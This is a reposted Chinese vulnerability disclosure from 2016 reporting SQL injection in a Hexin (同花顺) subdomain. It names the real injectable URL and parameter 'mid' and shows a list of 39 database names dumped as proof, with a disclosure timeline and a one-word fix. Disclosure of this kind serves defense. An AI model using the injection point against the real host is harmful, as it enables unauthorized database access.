神刀安全网

漏洞标题: 同花顺某分站存在SQL注入漏洞

漏洞详情

披露状态:

2016-04-22: 细节已通知厂商并且等待厂商处理中
2016-04-22: 厂商已经确认,细节仅向厂商公开
2016-05-02: 细节向核心白帽子及相关领域专家公开
2016-05-12: 细节向普通白帽子公开
2016-05-22: 细节向实习白帽子公开
2016-06-06: 细节向公众公开

简要描述:

同花顺某分站存在SQL注入漏洞

详细说明:

网站

http://wapyd.hexin.cn/

注入点

http://wapyd.hexin.cn/dlarea/dl_model.php?bid=1&bname=%E9%80%9A%E7%94%A8%E5%8C%BA&mid=1902&mname=1.5%E7%B3%BB%E7%BB%9F%E5%8F%8A%E4%BB%A5%E4%B8%8A&from=

注入参数

mid

漏洞证明:

code 区域
available databases [39]:

[*] `order`

[*] `zqpl.bak`

[*] ahuni_dl

[*] asv

[*] ceshi

[*] ceshi_dl

[*] ceshi_fj

[*] data_web

[*] dl_visit

[*] dxdl

[*] eq

[*] fjyd_dl

[*] fmcc

[*] gdtel_dl

[*] gdtel_jc

[*] gduni_dl

[*] gxmcc_dl

[*] himcc_dl

[*] hntel_dl

[*] hnyd_dl

[*] information_schema

[*] jsuni_dl

[*] jsyd_dl

[*] jxyd_dl

[*] lymcc_dl

[*] mysql

[*] scmcc_dl

[*] shuni_dl

[*] statfjyd

[*] statjxyd

[*] statzmcc

[*] test

[*] userinfo

[*] wap

[*] wap3g_dl

[*] ydmm_dl

[*] ynuni_dl

[*] zjyd_dl

[*] zqpl

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 同花顺某分站存在SQL注入漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址